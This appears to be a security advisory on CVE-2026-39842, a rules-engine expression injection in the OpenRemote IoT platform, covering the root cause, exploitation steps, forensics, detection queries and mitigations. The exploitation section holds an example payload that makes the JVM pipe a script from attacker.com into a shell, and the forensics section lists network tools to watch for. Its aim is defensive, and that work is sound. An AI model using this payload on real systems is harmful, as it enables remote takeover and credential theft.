Skip to content

CVE-2026-39842: Expression Injection in OpenRemote IoT Platform

CVE-2026-39842 identifies a severe Expression Injection flaw within the OpenRemote open-source IoT platform. The vulnerability stems from an insecure implementation of the rules engine, where user-supplied JavaScript scripts are evaluated using Nashorn’s ScriptEngine.eval() without sufficient sandboxing or restriction.

While the system implements some authorization checks, it fails to protect the JavaScript execution path for users possessing the write:rules role. Furthermore, a critical failure in the Groovy rules engine—where the GroovyDenyAllFilter is defined but not registered—effectively disables the SandboxTransformer for superusers. This creates a high-impact scenario where an attacker can elevate privileges, leak sensitive environment variables (including database credentials), and access data across different realms, breaking the platform’s multi-tenancy architecture.

The core of the vulnerability lies in how OpenRemote handles its automation rules. The platform allows users to define logic based on IoT events. This logic is processed by two primary engines: JavaScript (Nashorn) and Groovy.

The JavaScript engine is the primary vector for non-superusers. The implementation calls ScriptEngine.eval() on input provided to the RulesResourceImpl. In a secure implementation, this call would be wrapped in a sandbox that restricts access to the underlying Java ClassLoader and prevents the instantiation of dangerous classes (e.g., java.lang.Runtime, java.io.File).

In affected versions (1.21.0 and below), no such restrictions exist. Any user with write:rules can execute arbitrary Java methods through JavaScript, facilitating a complete escape from the application logic into the JVM and the underlying Host OS.

For superusers, the platform attempts to employ a SandboxTransformer and a GroovyDenyAllFilter. However, an analysis of the source code reveals that the registration of the filter is commented out.

// Registration code for GroovyDenyAllFilter is commented out in affected versions
// filterRegistry.register(new GroovyDenyAllFilter());

Because the filter is never registered, the Transformer does not active, allowing superusers (or anyone who can spoof superuser rules) to bypass intended constraints.

The exploitation process follows a linear path from authorized access to full system control:

  1. Access Acquisition: The attacker gains or is assigned the write:rules role within the OpenRemote instance.
  2. Payload Crafting: The attacker constructs a JavaScript ruleset. Instead of standard IoT logic, the payload uses Java reflection or direct calls to execute system commands.
    • Example conceptual payload: java.lang.Runtime.getRuntime().exec("curl http://attacker.com/shell | sh")
  3. Injection: The payload is submitted via the Rules API to RulesResourceImpl.
  4. Execution: The server processes the rule, calling ScriptEngine.eval(). The JVM executes the malicious payload with the permissions of the OpenRemote service account.
  5. Privilege Escalation: Since the service often runs with high privileges to manage IoT hardware and system configs, the attacker achieves root-level execution.

When investigating a compromise involving CVE-2026-39842, analysts should prioritize the following artifacts:

  • Application Logs: Inspect the OpenRemote logs for unusual ScriptEngine errors or unexpected Java stack traces originating from the rules engine.
  • API Gateway Logs: Look for POST or PUT requests to /api/rules or similar endpoints coming from accounts with the write:rules role, especially those with payloads containing Java class references (java.lang.*).
  • Process Monitoring: Identify unexpected child processes of the OpenRemote JVM, such as /bin/sh, curl, wget, or nc.
  • Environment Variables: Check for evidence of environment variable theft. Attackers typically target DB_PASSWORD, SECRET_KEY, and cloud provider credentials.
  • File System: Look for unauthorized files in /tmp or web-root directories used as staging areas for web shells.
  1. Extract all rules created in the last 30 days from the database.
  2. Scan the rules for keywords: Runtime, ProcessBuilder, eval, and getClass.
  3. Correlate the time of rule creation with the appearance of suspicious outbound network connections.
  4. Verify the integrity of the RulesResourceImpl.class to ensure no permanent patching/backdooring occurred.

Detection Logic: Monitor for the creation of rules containing Java-specific execution keywords.

  • Event ID: Application Log / API Log
  • Field: request_body or rule_content
  • Pattern: (java.lang.Runtime|ProcessBuilder|java.util.Scanner)
index=openremote_logs
| search "write:rules" AND ("java.lang.Runtime" OR "exec")
| table _time, user, source_ip, request_payload
  • Update: Upgrade OpenRemote to version 1.22.0 immediately. This version restores the security filters and implements proper sandboxing for the JavaScript engine.
  • Role Audit: Review all users assigned the write:rules role. Enforce the Principle of Least Privilege (PoLP).
  • JVM Sandboxing: If unable to update immediately, run the OpenRemote JVM with a restrictive Java Security Manager policy to block java.io.FilePermission and java.lang.RuntimePermission.
  • Network Segmentation: Isolate the OpenRemote server from the internal network to prevent the attacker from using the compromised host as a pivot point.

NVD CVE-2026-39842

OpenRemote GitHub

CISA KEV Catalog